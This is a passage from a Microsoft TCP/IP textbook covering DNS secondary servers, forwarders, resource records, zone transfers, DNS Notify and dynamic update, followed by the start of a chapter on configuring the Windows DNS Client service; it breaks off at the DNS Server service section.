A secondary name server gets the data for its zones across the network from another name server
(either a primary name server or another secondary name server). The process of obtaining this
zone information (that is, the database file) across the network is referred to as a zone transfer.
Zone transfers occur over TCP port 53.
The following are reasons to have secondary name servers within an enterprise network:
Redundancy: At least two DNS servers, a primary and at least one secondary, serving each zone
are needed for fault tolerance.
Remote locations: Secondary name servers (or other primary servers for subdomains) are needed
in remote locations that have a large number of DNS clients. Clients should not have to
communicate across slower wide area network (WAN) links for DNS queries.
Load distribution: Secondary name servers reduce the load on the primary name server.
Because information for each zone is stored in separate files, the primary or secondary name server
designation is defined at a zone level. In other words, a specific name server may be a primary name
server for certain zones and a secondary name server for other zones.
When defining a zone on a secondary name server, you configure the zone with the name server from
which the zone information is to be obtained. The source of the zone information for a secondary name
server is referred to as a master name server. A master name server can be either a primary or
secondary name server for the requested zone. Figure 8-5 shows the relationship between primary,
secondary, and master name servers.
Chapter 8 – Domain Name System Overview
TCP/IP Fundamentals for Microsoft Windows
Page: 228
Figure 8-5 Primary, secondary, and master name servers
When a secondary name server starts up, it contacts the master name server and initiates a zone
transfer for each zone for which it is acting as a secondary name server. Zone transfers also can occur
periodically (provided that data on the master name server has changed) as specified in the SOA
record of the zone file. The "Resource Records and Zones" section of this chapter describes the SOA
resource record.
Forwarders
When a DNS server receives a query, it attempts to locate the requested information within its own
zone files. If this attempt fails because the server is not authoritative for the domain of the requested
name and it does not have the record cached from a previous lookup, it must communicate with other
name servers to resolve the request. On a globally connected network such as the Internet, DNS
queries for names that do not use the second-level domain name of the organization might require
interaction with DNS servers across WAN links outside of the organization. To prevent all the DNS
servers in the organization from sending their queries over the Internet, you can configure forwarders. A
forwarder sends queries across the Internet. Other DNS servers in the organization are configured to
forward their queries to the forwarder.
Figure 8-6 shows an example of intranet servers using a forwarder to resolve Internet names.
Chapter 8 – Domain Name System Overview
TCP/IP Fundamentals for Microsoft Windows
Page: 229
Figure 8-6 Using a forwarder to resolve Internet names
A name server can use a forwarder in non-exclusive or exclusive mode.
Forwarders in Non-exclusive Mode
In non-exclusive mode, when a name server receives a DNS query that it cannot resolve through its
own zone files, it sends a recursive query to its forwarder. The forwarder attempts to resolve the query
and returns the results to the requesting name server. If the forwarder is unable to resolve the query,
the name server that received the original query attempts to resolve the query using iterative queries.
A name server using a forwarder in non-exclusive mode does the following when attempting to resolve
a name:
1. Checks its local cache.
2. Checks its zone files.
3. Sends a recursive query to a forwarder.
4. Attempts to resolve the name through iterative queries to other DNS servers.
Forwarders in Exclusive Mode
In exclusive mode, name servers rely on the name-resolving ability of the forwarders. When a name
server in exclusive mode receives a DNS query that it cannot resolve through its own zone files, it
sends a recursive query to its designated forwarder. The forwarder then carries out whatever
communication is necessary to resolve the query and returns the results to the originating name server.
If the forwarder is unable to resolve the request, the originating name server returns a query failure to
the original DNS client. Name servers in exclusive mode make no attempt to resolve the query on their
own if the forwarder is unable to satisfy the request.
A name server using a forwarder in exclusive mode does the following when attempting to resolve a
name:
1. Checks its local cache.
2. Checks its zone files.
Chapter 8 – Domain Name System Overview
TCP/IP Fundamentals for Microsoft Windows
Page: 230
3. Sends a recursive query to a forwarder.
Caching-Only Name Servers
Although all DNS servers cache queries that they have resolved, caching-only servers are DNS servers
that only perform queries, cache the answers, and return the results. Caching-only servers are not
authoritative for any domains and contain only the information that they have cached while attempting
to resolve queries.
When caching-only servers are started, they do not perform any zone transfers because they have no
zones and no entries exist in their caches. Initially, the caching-only server must forward queries until
the cache has been built up to a point where it can service commonly used queries by just using its
cache entries.
Chapter 8 – Domain Name System Overview
TCP/IP Fundamentals for Microsoft Windows
Page: 231
Resource Records and Zones
If your organization is connected to the Internet, in many cases you do not need to maintain a DNS
infrastructure. For small networks, DNS name resolution is simpler and more efficient by having the
DNS client query a DNS server that is maintained by an ISP. Most ISPs will maintain domain
information for a fee. If your organization wants to have control over its domain or not incur the costs of
using an ISP, you can set up your organization's own DNS servers.
In both cases, either going through an ISP or setting up separate DNS servers, the IANA must be
informed of the domain name of the organization and the IP addresses of at least two DNS servers on
the Internet that service the domain. An organization can also set up DNS servers within itself
independent of the Internet.
At least two computers as DNS servers are recommended for reliability and redundancy—a primary
and a secondary name server. The primary name server maintains the database of information, which
is then replicated from the primary name server to the secondary name server. This replication allows
name queries to be serviced even if one of the name servers is unavailable. Replication is scheduled
based on how often names change in the domain. Replication should be frequent enough so that
changes are reflected on both servers. However, excessive replication can have a negative impact on
the performance of the network and name servers.
Resource Record Format
Resource records have the following format:
owner TTL
type
class
RDATA
owner The domain name of the resource record.
TTL (Time to Live) The length of time in seconds that a DNS resolver should wait before it removes
from its cache an entry that corresponds to the resource record.
type The type of resource record.
class The protocol family in use, which is typically IN for the Internet class.
RDATA The resource data for the resource record type. For example, for an address (A) resource
record, RDATA is the 32-bit IPv4 address that corresponds to the FQDN in the owner field.
Resource records are represented in binary form in DNS request and response messages. In text-
based DNS database files, most resource records are represented as a single line of text. For
readability, blank lines and comments are often inserted in the database files and are ignored by the
DNS server. Comments always start with a semicolon (;) and end with a carriage return.
The following is an example A resource record stored in a DNS database file:
srv1.dev.microsoft.com. 3600 A IN 157.60.221.205
Each resource record starts with the owner in the first column (srv1.dev.microsoft.com.). If the first
column is blank, then it is assumed that the owner for this record is the owner of the previous record.
The owner is followed by the TTL (3600 seconds = 1 hour), type (A = Address record), class (IN =
Internet), and then the RDATA (Resource Data = 157.60.221.205). If the TTL value is not present, the
DNS server sets the value to the TTL specified in the SOA (Start of Authority) record of the zone.
Chapter 8 – Domain Name System Overview
TCP/IP Fundamentals for Microsoft Windows
Page: 232
Resource Record Types
The DNS standards define many types of resource records. The most commonly used resource records
are the following:
SOA Identifies the start of a zone of authority. Every zone contains an SOA resource record at the
beginning of the zone file, which stores information about the zone, configures replication behavior, and
sets the default TTL for names in the zone.
A Maps an FQDN to an IPv4 address.
AAAA Maps an FQDN to an IPv6 address.
NS Indicates the servers that are authoritative for a zone. NS records indicate primary and secondary
servers for the zone specified in the SOA resource record, and they indicate the servers for any
delegated zones. Every zone must contain at least one NS record at the zone root.
PTR Maps an IP address to an FQDN for reverse lookups.
CNAME Specifies an alias (synonymous name).
MX Specifies a mail exchange server for a DNS domain name. A mail exchange server is a host that
receives mail for the DNS domain name.
SRV Specifies the IP addresses of servers for a specific service, protocol, and DNS domain.
RFCs 1035, 1034, 1183, and others define less frequently used resource records. The DNS Server
service in Windows Server 2008 and Windows Server 2003 is fully compliant with RFCs 1034, 1035,
and 1183.
The DNS Server service in Windows Server 2008 and Windows Server 2003 also supports the
following resource record types that are Microsoft-specific:
WINS Indicates the IPv4 address of a Windows Internet Name Service (WINS) server for WINS
forward lookup. The DNS Server service in Windows Server 2003 can use a WINS server for looking up
the host portion of a DNS name.
WINS-R Indicates the use of WINS reverse lookup, in which a DNS server uses a NetBIOS Adapter
Status message to find the host portion of the DNS name given its IPv4 address.
For detailed information about the structure and contents of various types of DNS resource records, see
Help and Support for Windows Server 2008 and Windows Server 2003.
Delegation and Glue Records
You add delegation and glue records to a zone file to indicate the delegation of a subdomain to a
separate zone. For example, in Figure 8-2, the DNS server that is authoritative for the microsoft.com
zone must be configured so that, when resolving names for the dev.microsoft.com, the DNS server can
determine the following:
That a separate zone for that domain exists.
A delegation is an NS record in the parent zone that lists the name server that is authoritative for
the delegated zone.
Where the zone for that domain resides.
Chapter 8 – Domain Name System Overview
TCP/IP Fundamentals for Microsoft Windows
Page: 233
A glue record is an A record for the name server that is authoritative for the delegated zone.
For example, in Figure 8-2, the name server for the microsoft.com. domain has delegated authority for
the dev.microsoft.com zone to the name server devdns.dev.microsoft.com at the IPv4 address of
157.60.41.59. In the zone file for the microsoft.com. zone, the following records must be added:
dev.microsoft.com. IN NS devdns.dev.microsoft.com.
devdns.dev.microsoft.com. IN A 157.60.41.59
Without the delegation record for dev.microsoft.com, queries for all names ending in dev.microsoft.com
would fail. Glue records are needed when the name of the name server that is authoritative for the
delegated zone is in the domain of the name server attempting name resolution. In the example above,
we need the A record for devdns.dev.microsoft.com. because that FQDN is within the microsoft.com.
portion of the DNS namespace. Without this A record, the microsoft.com. DNS server would be unable
to locate the name server for the dev.microsoft.com. zone, and all name resolutions for names in the
dev.microsoft.com domain would fail. A glue record is not needed when the name of the authoritative
name server for the delegated zone is in a domain that is different than the domain of the zone file. In
this case, the DNS server would use normal iterative queries to resolve the name to an IP address.
The DNS Server service in Windows Server 2008 and Windows Server 2003 automatically adds
delegation and glue records when you delegate a subdomain.
The Root Hints File
The root hints file, also known as the cache file, contains the names and addresses of root name
servers. For resolving domain names on the Internet, the default file provided with the DNS Server
service in Windows Server 2008 and Windows Server 2003 has the records for the root servers of the
Internet. For installations not connected to the Internet, the file should be replaced to contain the name
servers authoritative for the root of the private network. This file is named Cache.dns and is stored in
the systemroot/System32/Dns folder.
For the current Internet cache file, see the FTP site for InterNIC.
Chapter 8 – Domain Name System Overview
TCP/IP Fundamentals for Microsoft Windows
Page: 234
Zone Transfers
Secondary name servers obtain zone files from a master name server using a zone transfer. The zone
transfer replicates the set of records in the zone file from the master server to the secondary server.
Zone transfers occur for all zones for which a DNS server is a secondary name server upon startup and
on an ongoing basis to ensure that the most current information about the zone is reflected in the local
zone file. The two types of zone transfers are full and incremental.
Full Zone Transfer
The original DNS RFCs defined zone transfers as a transfer of the entire zone file, regardless of how
the file has changed since the last time it was transferred. In a full zone transfer, the following process
occurs:
1. The secondary server waits until the next refresh time (as specified in the SOA resource record) and
then queries the master server for the SOA resource record for the zone.
2. The master server responds with the SOA resource record.
3. The secondary server checks the Serial Number field of the returned SOA resource record. If the
serial number in the SOA resource record is higher than the serial number of the SOA resource
record of the locally stored zone file, then there have been changes to the zone file on the master
server and a zone transfer is needed. Whenever a resource record is changed on the master name
server, the serial number in the SOA resource record is updated.
The secondary server sends an AXFR request (a request for a full zone transfer) to the master
server.
4. The secondary server initiates a TCP connection with the master server and requests all of the
records in the zone database. After the zone transfer, the Serial Number field in the SOA record of
the local zone file matches the Serial Number field in the SOA record of the master server.
Figure 8-7 shows a full zone transfer.
Figure 8-7 A full zone transfer
If the secondary server does not receive a response to the SOA query, it retries SOA queries using a
retry time interval specified in the SOA resource record in the local zone file. The secondary server
continues to retry until the time elapsed since attempting to perform a zone transfer reaches an
expiration time specified in the SOA resource record in the local zone file. After the expiration time, the
secondary server closes the zone file and does not use it to answer subsequent queries. The
Chapter 8 – Domain Name System Overview
TCP/IP Fundamentals for Microsoft Windows
Page: 235
secondary server keeps attempting to perform the zone transfer. When the zone transfer succeeds, the
local zone file is opened and used for subsequent queries.
Incremental Zone Transfer
In a full zone transfer, the entire zone file is transferred. This can consume a substantial portion of
processing resources and network bandwidth when the zone files are large and when zone records are
frequently changed. To minimize the amount of information that is sent in a zone transfer for changes to
zone records, RFC 1995 specifies a standard method of performing incremental zone transfers. In an
incremental zone transfer, only the resource records that have changed (been added, deleted, or
modified) are sent during the zone transfer.
In an incremental zone transfer, the secondary server performs the same query for the SOA record of
the master server and comparison of the Serial Number field. If changes exist, the secondary server
sends an IXFR request (a request for an incremental zone transfer) to the master server. The master
server sends the records that have changed, and the secondary server builds a new zone file from the
records that have not changed and the records in the incremental zone transfer.
Figure 8-8 shows an incremental zone transfer.
Figure 8-8 An incremental zone transfer
For the master server to determine the records that have changed, it must maintain a history database
of changes made to its zone files. The zone file changes are linked to a serial number so that the
master server can determine which changes were made to the zone past the serial number indicated in
the IXFR request from the secondary server.
The DNS Server service in Windows Server 2008 and Windows Server 2003 supports incremental
zone transfer.
DNS Notify
For both full and incremental zone transfers, the secondary server always initiates the zone transfer
based on periodically querying the master server for its SOA record. The original DNS RFCs do not
define a notification mechanism if the master server wanted to immediately propagate a large number
of changes to its secondary servers.
To improve the consistency of data among secondary servers, RFC 1996 specifies DNS Notify, an
extension of DNS that allows master servers to send notifications to secondary servers that a zone
transfer might be needed. Upon receipt of a DNS notification, secondary servers request the SOA
record of their master server and initiate a full or incremental zone transfer as needed.
Figure 8-9 shows the DNS notify process.
Chapter 8 – Domain Name System Overview
TCP/IP Fundamentals for Microsoft Windows
Page: 236
Figure 8-9 The DNS notify process
To determine the secondary servers to which notifications should be sent, the master server maintains
a notify list (a list of IP addresses) for each zone. The master server sends notifications to only the
servers in the notify list when the zone is updated.
The DNS Server service in Windows Server 2008 and Windows Server 2003 supports the configuration
of a notify list (a list of IPv4 addresses) for each zone.
Chapter 8 – Domain Name System Overview
TCP/IP Fundamentals for Microsoft Windows
Page: 237
DNS Dynamic Update
DNS was originally defined as a name resolution scheme for relatively static names and addresses;
DNS records contained information about servers, whose name and address configuration did not
change often. Therefore, the manual administration of resource records in zone files was manageable.
These original assumptions work well for an environment that is based on server and client computers
that are statically configured, in which the client computers communicate only with the server
computers and address configuration does not change. With the advent of peer-to-peer
communications and applications and the Dynamic Host Configuration Protocol (DHCP), both of the
assumptions of static DNS are challenged. In a Windows-based environment, client computers often
communicate directly with each other and are automatically configured using DHCP. To communicate
with each other, client computers must be able to resolve each other's names; therefore they must have
corresponding DNS resource records. With DHCP, the address configuration of client computers could
change every time they start. Manually administering DNS records for this environment is obviously
impractical.
Therefore, RFC 2136 defines DNS dynamic update to provide an automated method to populate the
DNS namespace with the current names and addresses for client and server computers by dynamically
updating zone data on a zone's primary server. With DNS dynamic update, DNS records are
automatically created, modified, and removed by either host computers or DHCP servers on their
behalf. For example, a client computer that supports DNS dynamic update sends UPDATE messages
to its DNS server to automatically add A, AAAA, and PTR records. The DNS server, which must also
support DNS dynamic update, verifies that the sender is permitted to make the updates and then
updates its local zone files.
The DNS Client service in Windows Vista, Windows XP, Windows Server 2008, and Windows Server
2003 and the DNS Server service in Windows Server 2008 and Windows Server 2003 support DNS
dynamic update.
Chapter 8 – Domain Name System Overview
TCP/IP Fundamentals for Microsoft Windows
Page: 238
Chapter Summary
The chapter includes the following pieces of key information:
DNS is a namespace and a protocol for replicating databases and resolving FQDNs used on the
Internet and intranets. DNS consists of the domain namespace, name servers that store resource
records, and DNS resolvers.
A domain is a branch of the DNS namespace beginning at its root node. All of the resource records in a
domain are stored in zones on DNS servers. A zone is a contiguous portion of a DNS domain whose
information is stored in a file on a DNS server.
On the Internet, DNS consists of the root domain, top-level domains, and second-level domains. IANA
manages the names and DNS servers of the root domain and the top-level domains. Individual
organizations are responsible for managing the names in their second-level domains.
DNS resolvers use either recursive or iterative queries. A recursive query is used to request definitive
information about a name, and DNS clients typically use them for FQDN resolution. An iterative query is
used to request best-effort information about a name, and DNS servers typically use them to query
other DNS servers.
Forward lookups provide an IP address based on an FQDN. Reverse lookups provide an FQDN based
on an IP address.
DNS servers can have the role of a primary server (in which the records are modified by the DNS
administrator) or a secondary server (in which the records are obtained from another server) for each
zone for which they are authoritative. A master server is a server from which a secondary server
obtains a zone transfer.
DNS defines many types of resource records, the most common of which are SOA, A, AAAA, NS, PTR,
CNAME, MX, and SRV.
Zone transfers can transfer either the entire zone file (known as a full zone transfer) or just the records
that have changed (known as an incremental zone transfer). DNS Notify is a standard mechanism by
which a master name server notifies secondary name servers to check for changes in zone files.
DNS dynamic update is a standard method for hosts, or DHCP servers on behalf of hosts, to
automatically update the zones of primary DNS servers with resource records that correspond to
current names and address configurations.
Chapter 8 – Domain Name System Overview
TCP/IP Fundamentals for Microsoft Windows
Page: 239
Chapter Glossary
DNS – See Domain Name System (DNS).
DNS dynamic update - An update to the DNS standard that permits DNS clients to dynamically register
and update their resource records in the zones of the primary server.
DNS server – A server that maintains a database of mappings of FQDNs to various types of data, such
as IP addresses.
domain – Any branch of the DNS namespace.
Domain Name System (DNS) – A hierarchical, distributed database that contains mappings of DNS
domain names to various types of data, such as IP addresses. DNS enables the location of computers
and services by user-friendly names and the discovery of other information stored in the database.
forward lookup – A DNS query that maps an FQDN to an IP address.
forwarder - A DNS server designated by other internal DNS servers to be used to forward queries for
resolving external or offsite DNS domain names, such as those used on the Internet.
FQDN – See fully qualified domain name.
fully qualified domain name (FQDN) - A DNS name that has been stated to indicate its absolute location
in the domain namespace tree. An FQDN has a trailing period (.) to qualify its position relative to the
root of the namespace. An example is host.example.microsoft.com.
host name – The DNS name of a host or interface on a network. For one computer to find another, the
name of the computer to locate must either appear in the Hosts file on the computer that is looking, or
the name must be known by a DNS server. For most Windows-based computers, the host name and
the computer name are the same.
Host name resolution – The process of resolving a host name to a destination IP address.
Hosts file – A local text file in the same format as the 4.3 BSD release of UNIX /etc/hosts file. This file
maps host names to IP addresses, and it is stored in the systemroot\System32\Drivers\Etc folder.
iterative query - A query made to a DNS server for the best answer the server can provide.
master server – A DNS server that is authoritative for a zone and that is also a source of zone
information for other secondary servers. A master server can be either a primary or secondary master
server, depending on how the server obtains its zone data.
primary server – A DNS server that is authoritative for a zone and that can be used as a point of update
for the zone. Only primary servers can be updated directly to process zone updates, which include
adding, removing, or modifying resource records that are stored as zone data.
recursive query – A query made to a DNS server in which the requester asks the server to assume the
full workload and responsibility for providing a complete answer to the query. The DNS server will then
use separate iterative queries to other DNS servers on behalf of the requester to assist in completing
an answer for the recursive query.
reverse lookup – A DNS query that maps an IP address to an FQDN.
root domain - The beginning of the DNS namespace.
Chapter 8 – Domain Name System Overview
TCP/IP Fundamentals for Microsoft Windows
Page: 240
secondary server - A DNS server that is authoritative for a zone and that obtains its zone information
from a master server.
second-level domain – A DNS domain name that is rooted hierarchically at the second tier of the
domain namespace, directly beneath the top-level domain names. Top-level domain names include
.com and .org. When DNS is used on the Internet, second-level domains are names that are registered
and delegated to individual organizations and businesses.
subdomain - A DNS domain located directly beneath another domain (the parent domain) in the
namespace tree. For example, example.microsoft.com would be a subdomain of the domain
microsoft.com.
top-level domains – Domain names that are rooted hierarchically at the first tier of the domain
namespace directly beneath the root (.) of the DNS namespace. On the Internet, top-level domain
names such as .com and .org are used to classify and assign second-level domain names (such as
microsoft.com) to individual organizations and businesses according to their organizational purpose.
zone – A manageable unit of the DNS database that is administered by a DNS server. A zone stores
the domain names and data of the domain with a corresponding name, except for domain names stored
in delegated subdomains.
zone transfer - The synchronization of authoritative DNS data between DNS servers. A DNS server
configured with a secondary zone periodically queries its master server to synchronize its zone data.
Chapter 9 – Windows Support for DNS
TCP/IP Fundamentals for Microsoft Windows
Page: 241
Chapter 9 – Windows Support for DNS
Abstract
This chapter describes the details of Domain Name System (DNS) support in Windows, which consists of the DNS
Client and DNS Server services. Windows Vista and Windows XP include the DNS Client service, and Windows Server
2008 and Windows Server 2003 include both the DNS Client and the DNS Server services. A network administrator
must understand the capabilities and configuration of both the DNS Client and DNS Server services to effectively
manage and troubleshoot a DNS name infrastructure and DNS name resolution behavior on a Windows network.
Chapter 9 – Windows Support for DNS
TCP/IP Fundamentals for Microsoft Windows
Page: 242
Chapter Objectives
After completing this chapter, you will be able to:
Describe the capabilities and configuration of the DNS Client service.
Describe the name resolution process of the DNS Client service.
List and describe the features of the DNS Server service.
Install the DNS Server service, and configure its properties.
Configure DNS zones and zone transfers.
Delegate authority for zones.
Configure DNS dynamic update behavior for both the DNS Client service and the DNS Server service.
Configure Windows Internet Name Service (WINS) lookup and WINS reverse lookup.
Describe how to use the Nslookup tool.
Chapter 9 – Windows Support for DNS
TCP/IP Fundamentals for Microsoft Windows
Page: 243
The DNS Client Service
The DNS Client service in Windows Vista, Windows XP, Windows Server 2008, and Windows
Server 2003 is responsible for name resolution, caching of name resolution attempts (including
negative caching), tracking connection-specific domain names, and prioritizing multiple resource
records of the same type based on their IP addresses.
The following sections describe how to configure the DNS Client service and how it resolves names.
DNS Client Configuration
You can configure the DNS Client service in the following ways:
Automatically, using Dynamic Host Configuration Protocol (DHCP) and DHCP options.
Manually, using either the Netsh tool or the properties of the Internet Protocol Version 4 (TCP/IPv4) or
Internet Protocol (TCP/IP) component in the Network Connections folder.
Automatically, for Point-to-Point Protocol (PPP) connections.
Automatically, using Computer Configuration Group Policy.
To determine the IP addresses of the DNS servers and the DNS domain name assigned to the
connections of your computer running Windows Vista, Windows XP, Windows Server 2008, or
Windows Server 2003, do one of the following:
Use the ipconfig /all command.
Use the netsh interface ipv4 show dns, netsh interface ipv6 show dns or netsh interface ip show
dns commands.
Open the Network Connections folder, right-click a connection, and click Status. Click the Support tab,
and then click Details.
The following sections describe how to configure the DNS Client service.
DHCP Configuration of the DNS Client Service
As described in Chapter 6, "Dynamic Host Configuration Protocol," DHCP provides IP configuration
information to DHCP clients. You can assign the IPv4 addresses of DNS servers to DHCP clients by
configuring the DNS Servers DHCP option (option 6). You can assign a DNS domain name to DHCP
clients by configuring the DNS Domain Name DHCP option (option 15). You can assign the IPv6
addresses of DNS servers to DHCPv6 clients by configuring the DNS Recursive Name Server IPv6
Address List option. If DNS servers or the connection-specific domain name are manually configured in
the properties of the Internet Protocol Version 4 (TCP/IPv4) or Internet Protocol (TCP/IP) component,
the DNS Client service ignores the DHCP-based DNS settings.
Manual Configuration of the DNS Client Service Using Network Connections
To manually configure the DNS Client service on a specific connection using the Network Connections
folder, obtain the properties of the Internet Protocol Version 4 (TCP/IPv4) or Internet Protocol (TCP/IP)
component for the network connection. You can configure the following DNS Client service settings
Chapter 9 – Windows Support for DNS
TCP/IP Fundamentals for Microsoft Windows
Page: 244
from the properties of the Internet Protocol Version 4 (TCP/IPv4) or Internet Protocol (TCP/IP)
component:
Primary and alternate DNS server addresses for the connection.
Primary and alternate DNS server addresses for the alternate configuration for the connection.
Advanced DNS properties.
Figure 9-1 shows the configuration of primary and alternate DNS server addresses on the General tab.
Figure 9-1 Primary and alternate DNS servers on the General tab
In this example, IPv4 addresses for primary and alternate DNS servers are configured for a connection
with a static IPv4 address configuration. You can also configure addresses for primary and alternate
DNS servers even when the connection is configured to obtain an IPv4 address automatically (using
DHCP).
As Figure 9-2 shows, you can also specify the IPv4 addresses of a primary and an alternate DNS
server when you configure an alternate configuration (for example, so that you can seamlessly operate
your laptop computer on a work network that uses DHCP and on a home network that uses static IPv4
configuration).
Chapter 9 – Windows Support for DNS
TCP/IP Fundamentals for Microsoft Windows
Page: 245
Figure 9-2 Primary and alternate DNS servers on the Alternate Configuration tab
The example in Figure 9-2 shows the configuration of a primary DNS server corresponding to an
Internet gateway device (IGD) on a home network. The IGD is acting as a DNS server for all of the
computers on the home network.
To manually configure the IPv4 addresses of more than two DNS servers or to configure additional
DNS Client service settings for a connection, open the Network Connections folder, right-click the
connection, and click Properties. Then click Internet Protocol Version 4 (TCP/IPv4) or Internet
Protocol (TCP/IP) without clearing its check box, click Properties, click Advanced, and click the DNS
tab. Figure 9-3 shows an example of the DNS tab.
Figure 9-3 The DNS tab from the advanced configuration of Internet Protocol Version 4 (TCP/IPv4)
From the DNS tab, you can configure the following:
Chapter 9 – Windows Support for DNS
TCP/IP Fundamentals for Microsoft Windows
Page: 246
DNS server addresses, in order of use Lists one or more DNS servers that the computer queries, in
order. If you want to manually configure more than two DNS servers, you must add them to this list and
configure their order.
Append primary and connection-specific DNS suffixes Specifies whether you want to use the
primary and connection-specific DNS suffixes to attempt to resolve unqualified names. An unqualified
name has no trailing period, such as "dev.example". In contrast, a fully qualified name has a trailing
period, such as "dev.example.com." The primary DNS suffix is assigned to the computer and configured
from the Computer Name tab of the System item in Control Panel. Connection-specific DNS suffixes
are assigned to each connection, either manually or through the DNS Domain Name DHCP option. For
more information about the name resolution process, see the “Name Resolution Behavior” section of
this chapter.
Append parent suffixes of the primary DNS suffix Specifies that during name resolution, the DNS
Client service uses the parent suffixes of the primary DNS suffix, up to the second-level domain, in an
attempt to resolve unqualified host names.
Append these DNS suffixes Specifies a list of DNS suffixes to try during name resolution, instead of
the primary and connection-specific DNS suffixes.
DNS suffix for this connection Specifies a DNS suffix for this specific connection. The DNS Client
service uses the connection-specific suffix to identify this connection on the computer, whereas the
DNS Client service uses the primary suffix to identify the computer regardless of the connection. If you
specify a DNS suffix, the DNS Client service ignores the DNS suffix obtained through the DNS Domain
Name DHCP option.
Register this connection’s addresses in DNS Specifies that the DNS Client service uses DNS
dynamic update to register the IP addresses of this connection with the primary name of the computer,
which consists of the computer name combined with the primary suffix.
Use this connection’s DNS suffix in DNS registration Specifies that the DNS Client service uses
DNS dynamic update to register the IP addresses of this connection with the name of the connection—
the computer name combined with the connection-specific suffix—in addition to the primary name of the
computer.
To manually configure the DNS Client service in Windows Vista or Windows Server 2008 for the IPv6
addresses of DNS servers on a specific connection, obtain the properties of the Internet Protocol
Version 6 (TCP/IPv6) component for the network connection. You can configure the following DNS
Client service settings from the properties of the Internet Protocol Version 6 (TCP/IPv6) component:
Primary and alternate DNS server IPv6 addresses for the connection.
Advanced DNS client properties.
For the Internet Protocol Version 6 (TCP/IPv6) component, configuration of the IPv6 addresses of DNS
servers and advanced DNS client properties is very similar to IPv4.
Manual Configuration Using Netsh
You can also configure DNS server settings for the DNS Client service from the command line using
the netsh interface ipv4 set dnsserver or netsh interface ip set dns commands.
Chapter 9 – Windows Support for DNS
TCP/IP Fundamentals for Microsoft Windows
Page: 247
By default, the DNS Client service uses IPv4 for all DNS messages. For computers running Windows
Vista or Windows Server 2008, use the following command:
netsh interface ipv6 set dnsserver [name=]String [source=]dhcp|static [addr=]IPv6Address|none
[[register=]none|primary|both]
Windows XP and Windows Server 2003 do not support DNS traffic over IPv6.
Configuration for Remote Access Clients
Dial-up or virtual private network-based remote access clients running Windows Vista, Windows Server
2008, Windows XP, or Windows Server 2003 obtain the initial configuration of a primary and alternate
DNS server during the negotiation of the Point-to-Point (PPP) connection. The PPP negotiation
includes the Primary DNS Server Address and Secondary DNS Server Address options in the Internet
Protocol Control Protocol (IPCP) as specified in RFC 1877.
Remote access clients running Windows Vista, Windows XP, Windows Server 2008, or Windows
Server 2003 also use a DHCPInform message to obtain an updated list of DNS servers and the DNS
domain name. If the remote access server running Windows Server 2008 or Windows Server 2003 is
correctly configured with the DHCP Relay Agent routing protocol component, it forwards the
DHCPInform message to a DHCP server and forwards the response (a DHCPAck message) back to
the remote access client.
If the remote access client receives a response to the DHCPInform message, the DNS servers
contained in the DHCPAck message replace the DNS servers configured during the PPP connection
negotiation.
Configuration of DNS Settings Using Group Policy
You can also configure DNS settings using Computer Configuration Group Policy and the Group Policy
Object Editor snap-in. By using this snap-in, you can modify Group Policy objects for system containers
(such as sites, domains, or organizational units) within Active Directory. To configure DNS settings,
open the Group Policy Object Editor snap-in, and click the Computer Configuration\Administrative
Templates\Network\DNS Client node in the tree, as Figure 9-4 shows.
Chapter 9 – Windows Support for DNS
TCP/IP Fundamentals for Microsoft Windows
Page: 248
Figure 9-4 DNS settings in Computer Configuration Group Policy
Group Policy-based DNS settings override the equivalent settings configured on the local computer or
through DHCP.
Name Resolution Behavior
When an application uses the getaddrinfo() or gethostbyname() Windows Sockets functions, the
resolver component of the DNS Client service performs name resolution as described in Chapter 7,
“Host Name Resolution.” The DNS Client service checks the local host name and the local DNS client
resolver cache, and then the service sends out DNS Name Query Request messages.
If DNS name resolution fails and the name is longer than 15 bytes, name resolution fails and TCP/IP for
Windows indicates the error condition to the application. If the name is 15 bytes or shorter in length, the
resolver verifies whether NetBIOS over TCP/IP is enabled. If it is not enabled, name resolution fails. If
NetBIOS is enabled, the resolver converts the name to a NetBIOS name and attempts NetBIOS name
resolution.
Before the resolver sends any DNS Name Query Request messages, it determines the type of name to
resolve. An application can submit one of the following types of names:
Fully qualified domain name (FQDN)
Names that are terminated with a period, indicating the name relative to the root domain of the
DNS. For example, host7.example.com. is an FQDN.
Single-label, unqualified domain names
Names that consist of a single label and contain no periods. For example host7 is a single-label,
unqualified domain name.
Multiple-label, unqualified domain names
Names that contain more than one label and one or more periods but are not terminated with a
period. For example, host7.example or example.com are multiple-label, unqualified domain names.
Name Resolution for FQDNs
When the application specifies an FQDN, the resolver queries DNS using that name. No other
combinations are tried.
Name Resolution for Single-Label, Unqualified Domain Names
When the application specifies a single-label, unqualified domain name, the resolver systematically
appends different DNS suffixes to the single-label, unqualified domain name; adds periods to make
them FQDNs; and submits them to DNS for name resolution. The resolver appends the DNS suffixes to
the single-label, unqualified domain name based on the state of the Append primary and connection
specific DNS suffixes or Append these suffixes check boxes on the DNS tab in the Advanced
TCP/IP Settings dialog box of the Internet Protocol Version 4 (TCP/IPv4) or Internet Protocol (TCP/IP)
component.
If the Append primary and connection specific DNS suffixes check box is selected, the resolver
appends the following names and sends separate queries:
Chapter 9 – Windows Support for DNS
TCP/IP Fundamentals for Microsoft Windows
Page: 249
The primary DNS suffix, as specified on the Computer Name tab of the System item of Control Panel.
Each connection-specific DNS suffix, assigned either through DHCP or specified in the DNS suffix for
this connection box on the DNS tab in the Advanced TCP/IP Settings dialog box for each
connection.
If resolution is still not successful and the Append parent suffixes of the primary DNS suffix check
box is selected, the resolver creates new FQDNs by appending the single-label, unqualified domain
name with the parent suffix of the primary DNS suffix name, and the parent of that suffix, and so on,
stopping at the second-level domain name. This process is known as name devolution. For example, if
the application specified the name emailsrv7 and the primary DNS suffix is central.example.com., the
resolver tries to resolve the FQDNs of emailsrv7.central.example.com. and emailsrv7.example.com.
If resolution is still not successful and the Append these suffixes check box is selected, the resolver
appends each suffix from the search list in order and submits the FQDN to the DNS server until the
resolver finds a match or reaches the end of the list. For example, if the application specified the name
filesrv11 and the DNS suffix list consists of admin.wcoast.example.com., admin.ecoast.example.com.,
and admin.central.example.com., the resolver tries the FQDNs of
filesrv11.admin.wcoast.example.com., filesrv11.admin.ecoast.example.com., and
filesrv11.admin.central.example.com.
Name Resolution for Multiple-Label, Unqualified Domain Names
When an application specifies a multiple-label, unqualified domain name, the DNS resolver uses the
same process as that for a single-label, unqualified domain name to resolve the name.
Chapter 9 – Windows Support for DNS
TCP/IP Fundamentals for Microsoft Windows
Page: 250
The DNS Server Service
The DNS Server service in Windows Server 2008 and Windows Server 2003 supports the following
features:
